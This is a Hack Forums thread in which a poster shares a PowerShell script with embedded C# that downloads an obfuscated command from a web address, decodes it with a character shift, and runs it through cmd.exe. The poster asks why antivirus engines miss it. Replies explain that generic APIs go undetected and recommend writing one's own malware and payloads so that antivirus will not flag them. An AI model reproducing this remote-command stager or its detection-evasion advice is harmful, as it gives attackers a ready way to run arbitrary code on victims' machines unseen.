![]() |
|
[Shell] Why insn't this script flagged as malware on virustotal? - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444) +--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151) +---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118) +---- Thread: [Shell] Why insn't this script flagged as malware on virustotal? (/showthread.php?tid=6029759) |
Why insn't this script flagged as malware on virustotal? - SIM-3602340 - Dec 2, 2019 So i wrote this simple powershell script: $Source = @" using System; using System.IO; public class Program { public static string test(string ww) { char[] after = new char[ww.Length]; for (int i = 0; i < ww.Length; i++) { after[i] = (char)(ww[i] - 99); } System.Diagnostics.Process.Start("cmd.exe", "/k " + new string(after)); return new string(after); } } "@ Add-Type -TypeDefinition $Source $response = Invoke-WebRequest "<url of obfuscated command to run>" [Program]::test($response.Content) It just executes a command given from a web page. Its pretty simple and i wrote it for testing purposes. Now, shouldn't AV flag this as it's potentially dangerous? Maybe I am wrong, let me know what you think.. ((Btw if you want to test this code, test it on machines that you own)) RE: Why insn't this script flagged as malware on virustotal? - MavenGradle - Dec 2, 2019 Why should it flag this code as malicious? What you're asking is like flagging Code System.Diagnostics.Process.StartHell, it will probably be added to several malware databases along with your malicious webserver if you start spreading your app with malicious parameters in a complete package: https://usa.kaspersky.com/resource-center/definitions/heuristic-analysis Ps: https://hackforums.net/forumdisplay.php?fid=49 RE: Why insn't this script flagged as malware on virustotal? - SIM-3602340 - Dec 2, 2019 My bad with the section... Makes sense to me, thank you for your clarification, and no, I don't want to spread my app with malicious parameters ahah RE: Why insn't this script flagged as malware on virustotal? - Xamarin - Dec 2, 2019 (Dec 2, 2019 01:19 PM)Cereal000 Wrote: So i wrote this simple powershell script: For the same reason that when you write a program that transmits data through sockets using C/C++ is not flagged as well. Because those apis can be used by an app that is a chat application (like so many), or it can be a rat. Unless the code gets exposed, or your executable reversed and analyzed, you will not get flagged (or at least by 99% of the AVs). That is the reason that we say that you need to code your own tools in these circumstances, not only because you need to know how things work under the hood, but also because you can re-create simple tools and payloads, using standard generic libraries, that cannot be blacklisted. RE: Why insn't this script flagged as malware on virustotal? - is_nimda - Dec 7, 2019 (Dec 2, 2019 01:26 PM)MavenGradle Wrote: Why should it flag this code as malicious? What you're asking is like flagging ^ This - which is why its always best to write your own malware, as its less likely to be flagged and normally will do the job than a super adv scripted code with 100 layers lol |